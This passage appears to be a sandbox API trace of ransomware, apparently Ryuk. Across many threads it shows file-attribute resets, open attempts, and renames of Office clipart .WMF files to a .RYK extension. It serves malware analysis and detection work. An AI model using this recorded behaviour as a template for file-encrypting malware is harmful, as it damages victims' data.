	[0211.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF", dwFileAttributes=0x80) returned 0
	[0211.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.851] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2051
	os_tid = 0x25e0

	[0211.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF", dwFileAttributes=0x80) returned 0
	[0211.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.853] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2052
	os_tid = 0x25e4

	[0211.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF", dwFileAttributes=0x80) returned 0
	[0211.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.857] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2053
	os_tid = 0x25e8

	[0211.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF", dwFileAttributes=0x80) returned 0
	[0211.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2054
	os_tid = 0x25ec

	[0211.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF", dwFileAttributes=0x80) returned 0
	[0212.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2055
	os_tid = 0x25f0

	[0211.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF", dwFileAttributes=0x80) returned 0
	[0212.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2056
	os_tid = 0x25f4

	[0211.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF", dwFileAttributes=0x80) returned 0
	[0211.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2057
	os_tid = 0x25f8

	[0212.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF", dwFileAttributes=0x80) returned 0
	[0212.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2062
	os_tid = 0x2610

	[0212.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF", dwFileAttributes=0x80) returned 0
	[0212.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2063
	os_tid = 0x2614

	[0212.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF", dwFileAttributes=0x80) returned 0
	[0212.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2064
	os_tid = 0x2618

	[0212.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF", dwFileAttributes=0x80) returned 0
	[0212.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2065
	os_tid = 0x261c

	[0212.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF", dwFileAttributes=0x80) returned 0
	[0212.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.269] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2066
	os_tid = 0x2620

	[0212.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF", dwFileAttributes=0x80) returned 0
	[0212.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.270] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2067
	os_tid = 0x2624

	[0212.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF", dwFileAttributes=0x80) returned 0
	[0212.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2068
	os_tid = 0x2628

	[0212.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF", dwFileAttributes=0x80) returned 0
	[0212.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2069
	os_tid = 0x262c

	[0212.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF", dwFileAttributes=0x80) returned 0
	[0212.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2070
	os_tid = 0x2630

	[0212.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF", dwFileAttributes=0x80) returned 0
	[0212.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2071
	os_tid = 0x2634

	[0212.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF", dwFileAttributes=0x80) returned 0
	[0213.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.298] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2097
	os_tid = 0x26a0

	[0212.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF", dwFileAttributes=0x80) returned 0
	[0213.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2098
	os_tid = 0x26a4

	[0212.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF", dwFileAttributes=0x80) returned 0
	[0213.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2099
	os_tid = 0x26a8

	[0212.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF", dwFileAttributes=0x80) returned 0
	[0213.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2100
	os_tid = 0x26ac

	[0212.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF", dwFileAttributes=0x80) returned 0
	[0213.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.290] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2101
	os_tid = 0x26b0

	[0212.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF", dwFileAttributes=0x80) returned 0
	[0213.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2102
	os_tid = 0x26b4

	[0212.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF", dwFileAttributes=0x80) returned 0
	[0213.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2103
	os_tid = 0x26b8

	[0212.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF", dwFileAttributes=0x80) returned 0
	[0213.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2104
	os_tid = 0x26bc

	[0212.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF", dwFileAttributes=0x80) returned 0
	[0213.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2105
	os_tid = 0x26c0

